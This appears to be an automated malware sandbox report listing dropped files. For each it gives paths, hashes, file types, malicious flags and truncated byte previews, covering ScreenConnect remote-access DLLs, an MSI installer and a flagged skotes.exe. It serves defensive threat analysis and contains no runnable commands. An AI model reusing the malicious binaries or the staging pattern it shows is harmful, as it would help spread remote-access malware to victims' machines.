C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.Cab.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	4.62694170304723
Encrypted:	false
SSDEEP:	768:sqbC2wmdVdX9Y6BCH+C/FEQl2ifnxwr02Gy/G4Xux+bgHGvLw4:sAtXPC/Cifnxs02Gyu4Xu0MeR
MD5:	77BE59B3DDEF06F08CAA53F0911608A5
SHA1:	A3B20667C714E88CC11E845975CD6A3D6410E700
SHA-256:	9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
SHA-512:	C718C1AFA95146B89FC5674574F41D994537AF21A388335A38606AEC24D6A222CBCE3E6D971DFE04D86398E607815DF63A54DA2BB96CCF80B4F52072347E1CE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ...............................$....@....................................O.................................................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	4.340550904466943
Encrypted:	false
SSDEEP:	384:GqJxldkxhW9N5u8IALLU0X9Z1kTOPJlqE:GqJxl6xsPIA9COxlqE
MD5:	4717BCC62EB45D12FFBED3A35BA20E25
SHA1:	DA6324A2965C93B70FC9783A44F869A934A9CAF7
SHA-256:	E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
SHA-512:	BB0ABC59104435171E27830E094EAE6781D2826ED2FC9009C8779D2CA9399E38EDB1EC6A10C1676A5AF0F7CACFB3F39AC2B45E61BE2C6A8FE0EDB1AF63A739CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0..`... .......~... ........... ....................................@.................................X~..O................................... }............................................... ............... ..H............text....^... ...`.................. ..`.rsrc................p..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	4.657268358041957
Encrypted:	false
SSDEEP:	768:BLNru62y+VqB4N5SBcDhDxW7ZkCmX2Qv1Sf0AQdleSBRxf+xUI3:BJ2yUGmh2O11AsleyRxf+xt
MD5:	A921A2B83B98F02D003D9139FA6BA3D8
SHA1:	33D67E11AD96F148FD1BFD4497B4A764D6365867
SHA-256:	548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
SHA-512:	E1D7556DAF571C009FE52D6FFE3D6B79923DAEEA39D754DDF6BEAFA85D7A61F3DB42DFC24D4667E35C4593F4ED6266F4099B393EFA426FA29A72108A0EAEDD3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ....................... .......t....@.....................................O...................................`................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	5.775360792482692
Encrypted:	false
SSDEEP:	3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
MD5:	5EF88919012E4A3D8A1E2955DC8C8D81
SHA1:	C0CFB830B8F1D990E3836E0BCC786E7972C9ED62
SHA-256:	3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
SHA-512:	4544565B7D69761F9B4532CC85E7C654E591B2264EB8DA28E60A058151030B53A99D1B2833F11BFC8ACC837EECC44A7D0DBD8BC7AF97FC0E0F4938C43F9C2684
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ......~.... ........... ..............................!\|....@.................................,...O.................................................................................... ............... ..H............text....w... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.034211651049746
Encrypted:	false
SSDEEP:	12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5:	14E7489FFEBBB5A2EA500F796D881AD9
SHA1:	0323EE0E1FAA4AA0E33FB6C6147290AA71637EBD
SHA-256:	A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
SHA-512:	2110113240B7D803D8271139E0A2439DBC86AE8719ECD8B132BBDA2520F22DC3F169598C8E966AC9C0A40E617219CB8FE8AAC674904F6A1AE92D4AC1E20627CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............." ..0..X...........s... ........... ..............................].....@.................................as..O.......t............................r..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...t............Z..............@..@.reloc...............^..............@..B.................s......H........C..,/..................Dr........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.InstallerActions.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.273875899788767
Encrypted:	false
SSDEEP:	192:V8/Qp6lCJuV3jHXtyVNamVNG1YZfCrMmbfHJ7kjvLjbuLd9NEFbM64:y/cBJaLXt2NaheUrMmb/FkjvLjbuZj64
MD5:	73A24164D8408254B77F3A2C57A22AB4
SHA1:	EA0215721F66A93D67019D11C4E588A547CC2AD6
SHA-256:	D727A640723D192AA3ECE213A173381682041CB28D8BD71781524DBAE3DDBF62
SHA-512:	650D4320D9246AAECD596AC8B540BF7612EC7A8F60ECAA6E9C27B547B751386222AB926D0C915698D0BB20556475DA507895981C072852804F0B42FDDA02B844
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........E... ...`....... ..............................D9....@..................................D..O....`..............................$D..8............................................ ............... ..H............text...4%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................E......H........'.......................C........................................(....^.(.......&...%...}....:.(......}....:.(......}....:.(......}........0..........s.......}.....s....}.....{....r...p(......,h.{....r...p......%...(.....rS..p.(....~....%-.&~..........s....%......(...+%-.&+.(...........s....(...+&.{....o....-!.{.....{.....{....rc..po....(.....{....o.........{.....{.....{....r}..po....(.....{....o....-..{....r...p......(......{....s .....-..o!.......{....r}..p.o

C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639085961200334
Encrypted:	false
SSDEEP:	24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5:	9AD3964BA3AD24C42C567E47F88C82B2
SHA1:	6B4B581FC4E3ECB91B24EC601DAA0594106BCC5D
SHA-256:	84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
SHA-512:	CE557A89C0FE6DE59046116C1E262A36BBC3D561A91E44DCDA022BEF72CB75742C8B01BEDCC5B9B999E07D8DE1F94C665DD85D277E981B27B6BFEBEAF9E58097
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y............." ..0..>..........~]... ...`....... ..............................8.....@.................................+]..O....`..\|............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc...\|....`.......@..............@..@.reloc...............D..............@..B................_]......H.......t...d..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13434880
Entropy (8bit):	7.9685260871410515
Encrypted:	false
SSDEEP:	196608:sWh0cGwzWh0cGMWh0cGYWh0cGgWh0cG4Wh0cG5Wh0cG:sWac9WacNWacXWacPWacBWaceWac
MD5:	24579E5A1A15783455016D11335A9AB2
SHA1:	FDE36A6FBDE895BA1BB27B0784900FB17D65FBBD
SHA-256:	9E8537945EAE78CFA227CC117E5D33EA7854E042EC942D9523B5A08C45068DC1
SHA-512:	1B54F5D169B1D4B91643633CEF2AF6ECA945C2517BA69B820751F1BB32C33E6E0390AFA7DDF20097472CE9C4716F85138C335652AA061491398E0C1136B60709
Malicious:	false
Preview:	......................>.......................................................\|...l...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Tmp85C6.tmp

Download File

Process:	C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe
File Type:	ASCII text, with very long lines (1136), with no line terminators
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	5.884313058724772
Encrypted:	false
SSDEEP:	24:QmeWUJxBiiAFaUlbJ2Hr1mI+Ic2iFerfnmj6BmKHnsZu:ZeX/ZkXgHr1m52iwrPvQInsZu
MD5:	A10F31FA140F2608FF150125F3687920
SHA1:	EC411CC7005AAA8E3775CF105FCD4E1239F8ED4B
SHA-256:	28C871238311D40287C51DC09AEE6510CAC5306329981777071600B1112286C6
SHA-512:	CF915FB34CD5ECFBD6B25171D6E0D3D09AF2597EDF29F9F24FA474685D4C5EC9BC742ADE9F29ABAC457DD645EE955B1914A635C90AF77C519D2ADA895E7ECF12
Malicious:	false
Preview:	MIIDUDCCAjigAwIBAgIQImsjBGfFTk6M7sZzNVcAwDANBgkqhkiG9w0BAQsFADAlMSMwIQYDVQQDExphdXRoLmluc3RhbGxlcnNlcnZpY2VzLmNvbTAeFw0yMzEwMjUyMzEzNDhaFw0yODEwMjUyMzIzNDhaMCUxIzAhBgNVBAMTGmF1dGguaW5zdGFsbGVyc2VydmljZXMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwnTHlqfx0MmiBSvhwkjmo2Y53B2ED6kyYgNgsSoX090DwL9g08Q2LnfEEFH+mif1Zv6jztT5QvWXjjroucDJQzZFBz/xbd1zilX80JFxD/8TIiKdmg73eXcrkSTsQUz97HwnpZbQDWbQJh/QxbvRIrJrcU2ADGsC5KBpRVXJ3t9m3TKNrfbAtKpPonso6+6GHvwUNTZUU9UgvDV3qGpDSniqumK3a1U9hphJJBb8us3o3538CM3tJAJ2w/bDGA/MOaTInkspZIQpecv16wkMWuLyHUxAaMDIO0tuIKxeIka0PaTAaZdw6BXofnNqwDD5JloOGm323JAR3pe+hJmSmQIDAQABo3wwejAOBgNVHQ8BAf8EBAMCBaAwCQYDVR0TBAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0jBBgwFoAUL8Xv6MyxPZ8/T+cj4fEkfSpVzqEwHQYDVR0OBBYEFC/F7+jMsT2fP0/nI+HxJH0qVc6hMA0GCSqGSIb3DQEBCwUAA4IBAQASgm1VIK9vC88LPaCv7qPEd2TUtRrOi/VG2HkcpmBIKGoDeFa41jzKpO25iMg4MQhlXuljIYMDch8YpZETcFvBXHzfCF7Rc+kl/K5tFd8kHGMItiPuwZV/BfvL9Wu4gY4g1skfRpiemP1gZvlc1fZlEoYDqAIzODkRyXOd2nsa7zt8iGTdNujZ8A/IyQzGNeqtmt+bpNvKojkB

C:\Users\user\AppData\Local\Temp\Tmp85E6.tmp

Download File

Process:	C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe
File Type:	ASCII text, with very long lines (1136), with no line terminators
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	5.884313058724772
Encrypted:	false
SSDEEP:	24:QmeWUJxBiiAFaUlbJ2Hr1mI+Ic2iFerfnmj6BmKHnsZu:ZeX/ZkXgHr1m52iwrPvQInsZu
MD5:	A10F31FA140F2608FF150125F3687920
SHA1:	EC411CC7005AAA8E3775CF105FCD4E1239F8ED4B
SHA-256:	28C871238311D40287C51DC09AEE6510CAC5306329981777071600B1112286C6
SHA-512:	CF915FB34CD5ECFBD6B25171D6E0D3D09AF2597EDF29F9F24FA474685D4C5EC9BC742ADE9F29ABAC457DD645EE955B1914A635C90AF77C519D2ADA895E7ECF12
Malicious:	false
Preview:	MIIDUDCCAjigAwIBAgIQImsjBGfFTk6M7sZzNVcAwDANBgkqhkiG9w0BAQsFADAlMSMwIQYDVQQDExphdXRoLmluc3RhbGxlcnNlcnZpY2VzLmNvbTAeFw0yMzEwMjUyMzEzNDhaFw0yODEwMjUyMzIzNDhaMCUxIzAhBgNVBAMTGmF1dGguaW5zdGFsbGVyc2VydmljZXMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwnTHlqfx0MmiBSvhwkjmo2Y53B2ED6kyYgNgsSoX090DwL9g08Q2LnfEEFH+mif1Zv6jztT5QvWXjjroucDJQzZFBz/xbd1zilX80JFxD/8TIiKdmg73eXcrkSTsQUz97HwnpZbQDWbQJh/QxbvRIrJrcU2ADGsC5KBpRVXJ3t9m3TKNrfbAtKpPonso6+6GHvwUNTZUU9UgvDV3qGpDSniqumK3a1U9hphJJBb8us3o3538CM3tJAJ2w/bDGA/MOaTInkspZIQpecv16wkMWuLyHUxAaMDIO0tuIKxeIka0PaTAaZdw6BXofnNqwDD5JloOGm323JAR3pe+hJmSmQIDAQABo3wwejAOBgNVHQ8BAf8EBAMCBaAwCQYDVR0TBAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0jBBgwFoAUL8Xv6MyxPZ8/T+cj4fEkfSpVzqEwHQYDVR0OBBYEFC/F7+jMsT2fP0/nI+HxJH0qVc6hMA0GCSqGSIb3DQEBCwUAA4IBAQASgm1VIK9vC88LPaCv7qPEd2TUtRrOi/VG2HkcpmBIKGoDeFa41jzKpO25iMg4MQhlXuljIYMDch8YpZETcFvBXHzfCF7Rc+kl/K5tFd8kHGMItiPuwZV/BfvL9Wu4gY4g1skfRpiemP1gZvlc1fZlEoYDqAIzODkRyXOd2nsa7zt8iGTdNujZ8A/IyQzGNeqtmt+bpNvKojkB

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xzz2dco.wdk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4dj5uvc.rww.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlslus1n.0vw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnqqwjfp.sio.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ugdzctf2.jkz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ujim42ji.hfn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ylcexbvk.zp5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zlk42zwf.diq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3011072
Entropy (8bit):	6.560398977405489
Encrypted:	false
SSDEEP:	49152:CdKtEEZolFDH6eU4kCfdnZlAVVXmZUiUHHUw0aAVP:ntEEZuFDaeU4kCfhZloXmVy0
MD5:	DAC73E7813DC3500E5F677B5F31191DF
SHA1:	BF5EAA68905A19D7CDA4CC824267D5FBFC27785A
SHA-256:	6B6EE9CAE47A7D7D51218397669EA2644853643E8D7557B20A90DC49E203893E
SHA-512:	7E26AA8FA617887D322FF823D6133DC677CD6C7E5FF2D1B14F6DB689DFF185E4F668802037BCD38E2134965892F71AABB4B274AE5568ADB6E2AD065F93D593BA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....,.-...@.................................W...k...........................(.1..............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...yedfgeqi..........................@...daxgiqes......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\bf8420de-836d-4995-8a19-db5fb10a0dce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	135651
Entropy (8bit):	7.968725791063757
Encrypted:	false
SSDEEP:	3072:sz/M7t9PZKU/GzJOA6lwOlbQJWFQcYjEgjrhl/lAe:Xv3/7AM1GWF9CHhllAe
MD5:	776E7E9B7CBC604AB5B978D762154C0A
SHA1:	6AE651E689791D6274830A3640F6F3BB22CE7867
SHA-256:	16045CA62F392ABC12A300DE5373FFA6C6F15314737DF0E5AC9698BF2F60CCAB
SHA-512:	727BB3BF728A7DA2CFDDA331D9BA7AAF94BA417438D6B044692A466DDD0AC032B10156964D785968F0CB1840D80145EA4F23C0C3B0791625B0E4453B3103F8AE
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
